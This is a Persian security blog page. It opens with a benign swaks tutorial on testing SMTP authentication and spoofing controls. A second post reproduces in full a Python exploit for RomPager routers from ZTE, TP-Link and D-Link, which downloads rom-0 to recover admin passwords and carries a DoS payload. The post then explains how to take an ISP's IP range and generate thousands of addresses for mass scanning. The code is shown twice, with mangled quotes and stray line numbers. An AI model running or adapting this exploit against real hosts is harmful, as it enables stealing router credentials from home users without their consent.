برچسب: امنیت

swaks، چاقوی ارتش سوئیس برای تست smtp سرور

برای ارسال ایمیل به افراد دیگر، بایستی یک SMTP سرور راه‌اندازی کرد. بعد باید مطمئن شد امکان ارسال ایمیل از طریق سرور، جز با یوزر و پسورد تعریف شده وجود ندارد و بعد از احراز هویت نیز فقط با نام کاربری خود، قادر به ارسال ایمیل است و نباید با ایمیل دیگر افراد عضو در سیستم بتواند اقدام به ارسال ایمیل کند.
همینطور باید مطمئن بود که ایمیل‌های ارسالی از سروری غیر از آنها که در لیست سفید مشخص شده‌اند به دست کاربر نهایی نرسد.

در حالت عادی می‌توان هر ایمیلی را با هر فرستنده‌ای که دوست داشته باشید
به هر فردی ارسال کنید. اما mail server که درست تنظیم شده باشد همچون gmail و یاهو ip ایمیل دریافتی را با رکورد spf که صاحب دامین آن را تعریف کرده، تطبیق می‌دهند و در صورت ناهمخوانی ایمیل مستقیم به بخش اسپم می‌رود و غیر از آن یک نوشته را به کاربر نمایش می‌دهند که احتمال فیشینگ ایمیل وجود دارد.

برای تست همه این موارد نیاز به یک SMTP سرور (برای مثال smtp.novid.ir:587) و تعریف چند کاربر ([email protected] و [email protected]) و همینطور ایجاد پسورد برای آنها داریم. ایمیل‌های تست به آدرس [email protected] ارسال می‌شود. برای تست حالت‌های مختلف از ابزار قدرتمند SWAKS استفاده خواهیم کرد.

ارسال ایمیل بدون احراز هویت

اگر SMTP سرور به درستی کانفیگ نشود، هر فردی بدون احراز هویت قادر به ارسال ایمیل از طریق آن خواهد بود. به اینگونه سرورها در اصطلاح open mail relay گفته می‌شود.

با استفاده از ابزار SWAKS و بدون وارد کردن یوزر و پسورد سعی در اسال ایمیل می‌کنیم.
در صورت موفقیت در ارسال ایمیل، انتظار این رو داشته باشید که سرور به زودی در لیست سیاه قرار خواهد گرفت و تا مدت‌ها دیگر نخواهید توانست میل بفرستید.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 -tls –from admin@novid.ir
=== Trying smtp.novid.ir:587…
=== Connected to smtp.novid.ir.
<- 250 STARTTLS
-> STARTTLS
<- 220 2.0.0 Start TLS
=== TLS started with cipher TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256
=== TLS no local certificate set
=== TLS peer DN=”/CN=smtp.novid.ir”
~> EHLO novid-salavan
<~ 250 AUTH PLAIN
~> MAIL FROM:<admin@novid.ir>
<~* 530 5.7.1 Authentication required
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 –tls —from admin@novid.ir

=== Trying smtp.novid.ir:587…

=== Connected to smtp.novid.ir.

<– 250 STARTTLS

-> STARTTLS

<– 220 2.0.0 Start TLS

=== TLS started with cipher TLSv1.2:ECDHE–RSA–AES256–GCM–SHA384:256

=== TLS no local certificate set

=== TLS peer DN=“/CN=smtp.novid.ir”

~> EHLO novid–salavan

<~ 250 AUTH PLAIN

~> MAIL FROM:<admin@novid.ir>

<~* 530 5.7.1 Authentication required

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

آپشن t یا همان to ایمیل فرد دریافت کننده است.
s یا همان server، آی‌پی یا آدرس smtp سرور مد نظر است که در اینجا از طریق پورت 587 قصد وصل شدن به آن را داریم.
پورت ۲۵ رو بسیاری از دیتاسنترها بسته‌اند و به دلیل امن نبودن، استفاده از آن توصیه نمی‌شود.
با استفاده از آپشن tls، کانکشن به smtp سرور به شکل STARTTLS برقرار می‌شود.
با آپشن from ایمیل فرستنده را مشخص می‌کنیم.

معمولا خط بالای QUIT مشکل اصلی در عدم ارسال ایمیل را می‌گوید.

<~* 530 5.7.1 Authentication required

تست باز یا بسته بودن پورت ۲۵ SMTP سرور

برای تست پورت ۲۵، کامند زیر را اجرا می‌کنیم.
به شکل پیشفرض swaks از پروتکل امن esmtp جهت اتصال به سرور استفاده می‌کند.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:25 –protocol smtp –from admin@novid.ir
=== Trying smtp.novid.ir:25…
*** Error connecting to smtp.novid.ir:25:
*** IO::Socket::INET6: connect: No route to host

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:25 —protocol smtp —from admin@novid.ir

=== Trying smtp.novid.ir:25…

*** Error connecting to smtp.novid.ir:25:

*** IO::Socket::INET6: connect: No route to host

که نشان می‌دهد دسترسی به پورت ۲۵ عملا امکانپذیر نیست.

ارسال ایمیل با احراز هویت

برای ارسال ایمیل با یوزر و پسورد کافیست که آپشن a یا همون auth رو به کامند اضافه کنیم.
بعد از زدن اینتر، یوزر و پسورد به شکل جداگانه پرسیده می‌شود.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from admin@novid.ir
Username: admin@novid.ir
Password: 123456
<- 250 STARTTLS
-> STARTTLS
<- 220 2.0.0 Start TLS
=== TLS started with cipher TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256
=== TLS no local certificate set
=== TLS peer DN=”/CN=smtp.novid.ir”
~> EHLO novid-salavan
<~ 250-smtp.novid.ir
<~ 250 AUTH PLAIN
~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyAHJzMm5rZ3NzNQ==
<~ 235 2.0.0 OK
~> MAIL FROM:<admin@novid.ir>
<~ 250 2.1.0 Ok
~> RCPT TO:<novid@protonmail.com>
<~ 250 2.1.5 Ok
~> DATA
<~ 354 End data with <CR><LF>.<CR><LF>
~> Date: Mon, 19 Nov 2018 16:19:41 +0300
~> To: novid@protonmail.com
~> From: admin@novid.ir
~> Subject: test Mon, 19 Nov 2018 16:19:41 +0300
~> Message-Id: <20181119161941.016258@novid-salavan>
~> X-Mailer: swaks v20170101.0 jetmore.org/john/code/swaks/
~> 
~> This is a test mailing
~> 
~> .
<~ 250 2.0.0 Ok: queued as 5203E17BEA6
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from admin@novid.ir

Username: admin@novid.ir

Password: 123456

<– 250 STARTTLS

-> STARTTLS

<– 220 2.0.0 Start TLS

=== TLS started with cipher TLSv1.2:ECDHE–RSA–AES256–GCM–SHA384:256

=== TLS no local certificate set

=== TLS peer DN=“/CN=smtp.novid.ir”

~> EHLO novid–salavan

<~ 250–smtp.novid.ir

<~ 250 AUTH PLAIN

~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyAHJzMm5rZ3NzNQ==

<~ 235 2.0.0 OK

~> MAIL FROM:<admin@novid.ir>

<~ 250 2.1.0 Ok

~> RCPT TO:<novid@protonmail.com>

<~ 250 2.1.5 Ok

~> DATA

<~ 354 End data with <CR><LF>.<CR><LF>

~> Date: Mon, 19 Nov 2018 16:19:41 +0300

~> To: novid@protonmail.com

~> From: admin@novid.ir

~> Subject: test Mon, 19 Nov 2018 16:19:41 +0300

~> Message–Id: <20181119161941.016258@novid–salavan>

~> X–Mailer: swaks v20170101.0 jetmore.org/john/code/swaks/

~> This is a test mailing

~> .

<~ 250 2.0.0 Ok: queued as 5203E17BEA6

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

ارسال ایمیل بدون فعال‌سازی tls

تست رو مجدد بدون tls انجام می‌دیم تا مطمئن شویم تنها راه اتصال به سرور از طریق امن امکان پذیر است.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 -a –from admin@novid.ir
Username: admin@novid.ir 
Password: 123456
=== Trying smtp.novid.ir:587…
=== Connected to smtp.novid.ir.
<- 250 STARTTLS
*** Host did not advertise authentication
-> QUIT
<- 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 –a —from admin@novid.ir

Username: admin@novid.ir

Password: 123456

=== Trying smtp.novid.ir:587…

=== Connected to smtp.novid.ir.

<– 250 STARTTLS

*** Host did not advertise authentication

-> QUIT

<– 221 2.0.0 Bye

=== Connection closed with remote host.

ارسال ایمیل با پسورد اشتباه

کامند را با پسورد اشتباه اجرا و انتظار داریم که ایمیل ارسال نشود.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from admin@novid.ir
Username: admin@novid.ir
Password: 123 
=== Trying smtp.novid.ir:587…
=== Connected to smtp.novid.ir.
<- 250 STARTTLS
-> STARTTLS
<- 220 2.0.0 Start TLS
=== TLS started with cipher TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256
=== TLS no local certificate set
<~ 250 AUTH PLAIN
~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyADEyMw==
<~* 535 5.7.8 Authentication credentials invalid
*** No authentication type succeeded
~> QUIT
*** Remote host closed connection unexpectedly.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from admin@novid.ir

Username: admin@novid.ir

Password: 123

=== Trying smtp.novid.ir:587…

=== Connected to smtp.novid.ir.

<– 250 STARTTLS

-> STARTTLS

<– 220 2.0.0 Start TLS

=== TLS started with cipher TLSv1.2:ECDHE–RSA–AES256–GCM–SHA384:256

=== TLS no local certificate set

<~ 250 AUTH PLAIN

~> AUTH PLAIN AGFkbWluQG5vdmlkLmlyADEyMw==

<~* 535 5.7.8 Authentication credentials invalid

*** No authentication type succeeded

~> QUIT

*** Remote host closed connection unexpectedly.

ارسال ایمیل با هویت یک فرد دیگر عضو سیستم

تست رو تغییر داده با یوزر و پسورد صحیح کاربر admin ایمیلی از طرف info بفرستیم.
کافیست که from رو به info تغییر داده و یوزر و پسورد admin رو وارد به ترتیب صحبح وارد نماییم.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from info@novid.ir
Username: admin@novid.ir
Password: 123456
<~ 235 2.0.0 OK
~> MAIL FROM:<info@novid.ir>
<~ 250 2.1.0 Ok
~> RCPT TO:<novid@protonmail.com>
<~* 553 5.7.1 <info@novid.ir>: Sender address rejected: not owned by user admin@novid.ir
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from info@novid.ir

Username: admin@novid.ir

Password: 123456

<~ 235 2.0.0 OK

~> MAIL FROM:<info@novid.ir>

<~ 250 2.1.0 Ok

~> RCPT TO:<novid@protonmail.com>

<~* 553 5.7.1 <info@novid.ir>: Sender address rejected: not owned by user admin@novid.ir

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

ارسال ایمیل با هویت فردی که عضو سیستم نیست

در آخر از طرف فردی که در سیستم وجود ندارد سعی در ارسال ایمیل می‌نماییم.

novid@novid-salavan ~ $ swaks -t novid@protonmail.com -s smtp.novid.ir:587 –tls -a –from null@novid.ir
Username: admin@novid.ir
Password: 123456
<~ 250 2.1.0 Ok
~> RCPT TO:<novid@protonmail.com>
<~* 550 5.1.0 <null@novid.ir>: Sender address rejected: User unknown in virtual mailbox table
~> QUIT
<~ 221 2.0.0 Bye
=== Connection closed with remote host.

novid@novid–salavan ~ $ swaks –t novid@protonmail.com –s smtp.novid.ir:587 —tls –a —from null@novid.ir

Username: admin@novid.ir

Password: 123456

<~ 250 2.1.0 Ok

~> RCPT TO:<novid@protonmail.com>

<~* 550 5.1.0 <null@novid.ir>: Sender address rejected: User unknown in virtual mailbox table

~> QUIT

<~ 221 2.0.0 Bye

=== Connection closed with remote host.

پی‌نوشت: خروجی swaks در این مثال‌ها بخاطر حفظ IP اصلی سرور دستکاری شده است.

19 نوامبر 2018

چقدر از کاربرای خونگی در خطر از دست دادن اطلاعات شخصی‌شون هستن؟

توی پست قبلی مطلبی در مورد امنیت ضعیف مودم‌های تی‌پی‌لینک نوشته بودم که به نظر اونطور که باید و شاید توجه رو به سمت خودش جلب نکرد.

برای همین در ادامه‌ی اون پست، این مطلب رو اینجا میذارم تا یک مقدار بیشتر با خطراتی که کاربران خونگی رو تهدید میکنه آشنا کنم.

برای شروع برنامه‌ای که توی پست قبل ازش استفاده کرده بودیم رو تغییر میدیم طوری که به جای ریست روتر، یک راست با دادن آی‌پی طرف، پسورد رو تحویل بگیریم.

#!/usr/bin/env python
# -*- coding: utf-8 -*- 
 
# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers:   ZTE ZXV10 W300
#                   TP-Link TD-W8901G
#                   TP-Link TD-W8101G
#                   TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:    Please note this exploit may contain errors, and
#           is provided “as it is”. There is no guarantee
#           that it will work on your target router(s), as
#           the code may have to be adapted. 
#           This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#             Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1
 
import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
  
class BitReader:
     
    def __init__(self, bytes):
        self._bits = collections.deque()
         
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
             
    def getBit(self):
        return self._bits.popleft()
         
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
         
    def getByte(self):
        return self.getBits(8)
         
    def __len__(self):
        return len(self._bits)
         
class RingList:
     
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
  
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
  
    def get(self):
        return self.__data__
  
    def size(self):
        return len(self.__data__)
  
    def maxsize(self):
        return self.__max__
         
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]
 
def filter_non_printable(str):
  return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])
 
 
def banner():
    return ”’
 
\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                            
 ”’                         
def dos(host, password):
    while (1):
        url = ‘http://’ +host+ ‘/Forms/tools_test_1’
        parameters = {
        ‘Test_PVC’          :   ‘PVC0’, 
        ‘PingIPAddr’        :   ‘\101’*2000,
        ‘pingflag’          :   ‘1’,
        ‘trace_open_flag’   :   ‘0’,
        ‘InfoDisplay’       :   ‘+-+Info+-%0D%0A’
        }
         
        params = urllib.urlencode(parameters) 
         
        req = urllib2.Request(url, params) 
        base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)
        req.add_header(“Authorization”, “Basic %s” %base64string)
        req.add_header(“Content-type”, “application/x-www-form-urlencoded”)
        req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)
        try:
                print ‘[~] Sending Payload’
                response = urllib2.urlopen(req, timeout=1)
                sys.exit(0)
             
        except:
            flag = checkHost(host)
            if flag == 0:
                print ‘[+] The host is still up and running’
            else:
                print ‘[~] Success! The host is down’
                sys.exit(0)
                break
 
def checkHost(host):
    if sys.platform == ‘win32’:
        c = “ping -n 2 ” + host
    else:
        c = “ping -c 2 ” + host
 
    try:
        x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
        time.sleep(1)
        return x
         
    except:
        pass
 
def checkServer(host):
    connexion = httplib.HTTPConnection(host)
    connexion.request(“GET”, “/status.html”)
    response = connexion.getresponse()
    server = response.getheader(“server”)
    connexion.close()
    time.sleep(2)
    if server == ‘RomPager/4.07 UPnP/1.0’:
        return 0
    else:
        return 1
 
def checkPassword(host):
    print ‘[+] Checking for default password’
    defaultpass = ‘admin’
    tn = telnetlib.Telnet(host, 23, 4)
    tn.read_until(“Password: “)
    tn.write(defaultpass + ‘\n’)
    time.sleep(2)
    banner = tn.read_eager()
    banner = regex(len(defaultpass)*r’.’+’\w+’ , banner)
    tn.write(“exit\n”)
    tn.close()
    time.sleep(4)
    if banner == ‘Copyright’:
        print ‘[+] Default password is being used’
    else:
        print ‘[!] Default Password is not being used’
    while True:
        #msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()
        try:
                password = decodePasswordLocal(host)
                print ‘[*] Router of %s  password is: %s’ %(host,password)
                break                  
        except Exception, e:
                print e
                continue
         
 
def decodePasswordLocal(host):
    # Sometimes this might output a wrong password while finding the exact string. 
    # print the result as mentioned below and manually find out
    fname = ‘rom-0’
    if os.path.isfile(fname) == True:
        os.remove(fname)
    urllib.urlretrieve (“http://”+host+”/rom-0″, fname)
    fpos=8568
    fend=8788
    fhandle=file(‘rom-0’)
    fhandle.seek(fpos)
    chunk=”*”
    amount=221
    while fpos < fend:
        if fend-fpos < amount:
            amount = amount
            data = fhandle.read(amount)
            fpos += len(data)
             
    reader = BitReader(data)
    result = ”
        
    window = RingList(2048)
         
    while True:
        bit = reader.getBit()
        if not bit:
            char = reader.getByte()
            result += chr(char)
            window.append(char)
        else:
            bit = reader.getBit()
            if bit:
                offset = reader.getBits(7)
                if offset == 0:
                    break
            else:
                offset = reader.getBits(11)
             
            lenField = reader.getBits(2)
            if lenField < 3:
                lenght = lenField + 2
            else:
                lenField <<= 2
                lenField += reader.getBits(2)
                if lenField < 15:
                    lenght = (lenField & 0x0f) + 5
                else:
                    lenCounter = 0
                    lenField = reader.getBits(4)
                    while lenField == 15:
                        lenField = reader.getBits(4)
                        lenCounter += 1
                    lenght = 15*lenCounter + 8 + lenField
             
            for i in xrange(lenght):
                char = window[-offset]
                result += chr(char)
                window.append(char)
 
    result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,’ignore’)
    # In case the password you see is wrong while filtering, manually print it from here and findout. 
    #print result 
    if ‘TP-LINK’ in result:
        result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;
        result = result.replace(“TP-LINK”, “”)
        result = result[1:]
 
    if ‘ZTE’ in result:
        result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;
        result = result.replace(“ZTE”, “”)
        result = result[1:]
 
    if ‘tc160’ in result:
        result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;
        result = result.replace(“tc160”, “”)
        result = result[1:]

    if ‘D-Link’ in result:
        result = ”.join(result.split()).split(‘D-Link’, 1)[0] + ‘D-Link’;
        result = result.replace(“D-Link”, “”)
        result = result[1:]
    return result
     
def regex(path, text):
    match = re.search(path, text)
    if match:
        return match.group()
    else:
        return None
 
def main():
    if sys.platform == ‘win32’:
        os.system(‘cls’)
    else:
        os.system(‘clear’)
    try:
        parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)
        parser.add_option(‘-i’, dest=’host’, 
                            type=’string’,  
                            help=’Specify the IP to attack’)
        (options, args) = parser.parse_args()
         
        if options.host is None:
            parser.print_help()
            exit(-1)
 
        host = options.host
        x = checkHost(host)
        if x == 0:
            print ‘[+] The host is up and running’
            server = checkServer(host)
            if server == 0:
                checkPassword(host)
            else:
                print (‘[!] Sorry the router is not running RomPager’)
        else:
            print ‘[!] The host is not up and running’
            sys.exit(0)
 
    except KeyboardInterrupt:
        print ‘[!] Ctrl + C detected\n[!] Exiting’
        sys.exit(0)
    except EOFError:
        print ‘[!] Ctrl + D detected\n[!] Exiting’
        sys.exit(0)
 
if __name__ == “__main__”: 
    main()  
#EOF

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit

# Date: 10-05-2014

# Server Version: RomPager/4.07 UPnP/1.0

# Tested Routers: ZTE ZXV10 W300

# TP-Link TD-W8901G

# TP-Link TD-W8101G

# TP-Link TD-8840G

# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0

# Tested on: Kali Linux x86

# Notes: Please note this exploit may contain errors, and

# is provided “as it is”. There is no guarantee

# that it will work on your target router(s), as

# the code may have to be adapted.

# This is to avoid script kiddie abuse as well.

# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.

# Author takes no responsibility for any kind of damage you cause.

# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)

# Dedicate to Nick Knight and Hood3dRob1n

# ./dos.py -i 192.168.1.1

import os

import re

import sys

import time

import urllib

import base64

import httplib

import urllib2

import requests

import optparse

import telnetlib

import subprocess

import collections

import unicodedata

class BitReader:

def __init__(self, bytes):

self._bits = collections.deque()

for byte in bytes:

byte = ord(byte)

for n in xrange(8):

self._bits.append(bool((byte >> (7–n)) & 1))

def getBit(self):

return self._bits.popleft()

def getBits(self, num):

res = 0

for i in xrange(num):

res += self.getBit() << num–1–i

return res

def getByte(self):

return self.getBits(8)

def __len__(self):

return len(self._bits)

class RingList:

def __init__(self, length):

self.__data__ = collections.deque()

self.__full__ = False

self.__max__ = length

def append(self, x):

if self.__full__:

self.__data__.popleft()

self.__data__.append(x)

if self.size() == self.__max__:

self.__full__ = True

def get(self):

return self.__data__

def size(self):

return len(self.__data__)

def maxsize(self):

return self.__max__

def __getitem__(self, n):

if n >= self.size():

return None

return self.__data__[n]

def filter_non_printable(str):

return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9])

def banner():

return ”’

\t\t _/_/_/ _/_/_/

\t\t _/ _/ _/_/ _/

\t\t _/ _/ _/ _/ _/_/

\t\t _/ _/ _/ _/ _/

\t\t_/_/_/ _/_/ _/_/_/

”’

def dos(host, password):

while (1):

url = ‘http://’ +host+ ‘/Forms/tools_test_1’

parameters = {

‘Test_PVC’ : ‘PVC0’,

‘PingIPAddr’ : ‘\101’*2000,

‘pingflag’ : ‘1’,

‘trace_open_flag’ : ‘0’,

‘InfoDisplay’ : ‘+-+Info+-%0D%0A’

}

params = urllib.urlencode(parameters)

req = urllib2.Request(url, params)

base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”)

req.add_header(“Authorization”, “Basic %s” %base64string)

req.add_header(“Content-type”, “application/x-www-form-urlencoded”)

req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”)

try:

print ‘[~] Sending Payload’

response = urllib2.urlopen(req, timeout=1)

sys.exit(0)

except:

flag = checkHost(host)

if flag == 0:

print ‘[+] The host is still up and running’

else:

print ‘[~] Success! The host is down’

sys.exit(0)

break

def checkHost(host):

if sys.platform == ‘win32’:

c = “ping -n 2 “ + host

else:

c = “ping -c 2 “ + host

try:

x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

time.sleep(1)

return x

except:

pass

def checkServer(host):

connexion = httplib.HTTPConnection(host)

connexion.request(“GET”, “/status.html”)

response = connexion.getresponse()

server = response.getheader(“server”)

connexion.close()

time.sleep(2)

if server == ‘RomPager/4.07 UPnP/1.0’:

return 0

else:

return 1

def checkPassword(host):

print ‘[+] Checking for default password’

defaultpass = ‘admin’

tn = telnetlib.Telnet(host, 23, 4)

tn.read_until(“Password: “)

tn.write(defaultpass + ‘\n’)

time.sleep(2)

banner = tn.read_eager()

banner = regex(len(defaultpass)*r‘.’+‘\w+’ , banner)

tn.write(“exit\n”)

tn.close()

time.sleep(4)

if banner == ‘Copyright’:

print ‘[+] Default password is being used’

else:

print ‘[!] Default Password is not being used’

while True:

#msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower()

try:

password = decodePasswordLocal(host)

print ‘[*] Router of %s password is: %s’ %(host,password)

break

except Exception, e:

print e

continue

def decodePasswordLocal(host):

# Sometimes this might output a wrong password while finding the exact string.

# print the result as mentioned below and manually find out

fname = ‘rom-0’

if os.path.isfile(fname) == True:

os.remove(fname)

urllib.urlretrieve (“http://”+host+“/rom-0”, fname)

fpos=8568

fend=8788

fhandle=file(‘rom-0’)

fhandle.seek(fpos)

chunk=“*”

amount=221

while fpos < fend:

if fend–fpos < amount:

amount = amount

data = fhandle.read(amount)

fpos += len(data)

reader = BitReader(data)

result = ”

window = RingList(2048)

while True:

bit = reader.getBit()

if not bit:

char = reader.getByte()

result += chr(char)

window.append(char)

else:

bit = reader.getBit()

if bit:

offset = reader.getBits(7)

if offset == 0:

break

else:

offset = reader.getBits(11)

lenField = reader.getBits(2)

if lenField < 3:

lenght = lenField + 2

else:

lenField <<= 2

lenField += reader.getBits(2)

if lenField < 15:

lenght = (lenField & 0x0f) + 5

else:

lenCounter = 0

lenField = reader.getBits(4)

while lenField == 15:

lenField = reader.getBits(4)

lenCounter += 1

lenght = 15*lenCounter + 8 + lenField

for i in xrange(lenght):

char = window[–offset]

result += chr(char)

window.append(char)

result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,‘ignore’)

# In case the password you see is wrong while filtering, manually print it from here and findout.

#print result

if ‘TP-LINK’ in result:

result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’;

result = result.replace(“TP-LINK”, “”)

result = result[1:]

if ‘ZTE’ in result:

result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’;

result = result.replace(“ZTE”, “”)

result = result[1:]

if ‘tc160’ in result:

result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’;

result = result.replace(“tc160”, “”)

result = result[1:]

if ‘D-Link’ in result:

result = ”.join(result.split()).split(‘D-Link’, 1)[0] + ‘D-Link’;

result = result.replace(“D-Link”, “”)

result = result[1:]

return result

def regex(path, text):

match = re.search(path, text)

if match:

return match.group()

else:

return None

def main():

if sys.platform == ‘win32’:

os.system(‘cls’)

else:

os.system(‘clear’)

try:

parser = optparse.OptionParser(“usage: %prog -i <IP Address> “)

parser.add_option(‘-i’, dest=‘host’,

type=‘string’,

help=‘Specify the IP to attack’)

(options, args) = parser.parse_args()

if options.host is None:

parser.print_help()

exit(–1)

host = options.host

x = checkHost(host)

if x == 0:

print ‘[+] The host is up and running’

server = checkServer(host)

if server == 0:

checkPassword(host)

else:

print (‘[!] Sorry the router is not running RomPager’)

else:

print ‘[!] The host is not up and running’

sys.exit(0)

except KeyboardInterrupt:

print ‘[!] Ctrl + C detected\n[!] Exiting’

sys.exit(0)

except EOFError:

print ‘[!] Ctrl + D detected\n[!] Exiting’

sys.exit(0)

if __name__ == “__main__”:

main()

#EOF

حالا با دادن یک آی‌پی به برنامه راحت میشه پسورد روتر رو بدست بیارید. دقت کنید که برنامه ابتدا ip مقصد رو پینگ میکنه و در صورت بالا بودن هاست، میره عملیات بعدی رو روی اون اجرا میکنه.

با رفتن به آدرس http://ping.eu/ns-whois و دادن آی‌پی ولید خودتون، می‌تونید یک رنج از آی‌پی‌های ولید isp رو بدست بیارید.

Selection_024

با کمی جستجو در اینترنت به اسکریپت زیر می‌رسیم که رنج ابتدایی و انتهایی ip رو میگیره و در انتها تمام ipهای بینش رو برامون تولید میکنه (خروجی برنامه‌ی زیر سی و پنج هزار آی‌پی هست).

#!/bin/bash
#
# Function: Generate a range of IP Addresses
# Version:  1.1
# Author:   sol@subnetzero.org
#
# v1.1
#
# Convention for octets:  A.B.C.D

# Variable setup section…
#
# Split up IP addresses into seperate variables for each octet
IPLO=(`echo “$1″ | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)
IPHI=(`echo “$2″ | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`)
#
# Put array contents into nicely named vars for less confusion
#
OCTA=${IPLO[0]}
OCTB=${IPLO[1]}
OCTC=${IPLO[2]}
OCTD=${IPLO[3]}
OCTAHI=${IPHI[0]}
OCTBHI=${IPHI[1]}
OCTCHI=${IPHI[2]}
OCTDHI=${IPHI[3]}
OCTDMAX=255             # Max default value for D Octet to loop to
FINISHED=0              # Variable used for loop state checking

# Syntax sanity check; check all vars are populated etc
for i in 0 1 2 3
do
        if [ -z “${IPLO[$i]}” ] || [ -z “${IPHI[$i]}” ]; then
                echo “Usage: $0 [from ip] [to ip]”
                exit 1
        elif [ “${IPLO[$i]}” -gt “255” ] || [ “${IPHI[$i]}” -gt “255” ];then
                echo “One of your values is broken (greater than 255).”
                exit 1
        fi

done

# Until FINISHED variable is set to 1, loop the loop.
# FINISHED var is used to determine when done as the increments
# to the vars in the loop will mean that when we get to the done
# statement, the values won’t be the same as printed.
#
# The D Octet loop is the heart of this script, as it’s easiest
# to check whether we’ve reached the target or not from here.
#
until [ “$FINISHED” -eq “1” ];
do
        # If first 3 octets match hi values, use OCTDHI as max value for 4th octet.
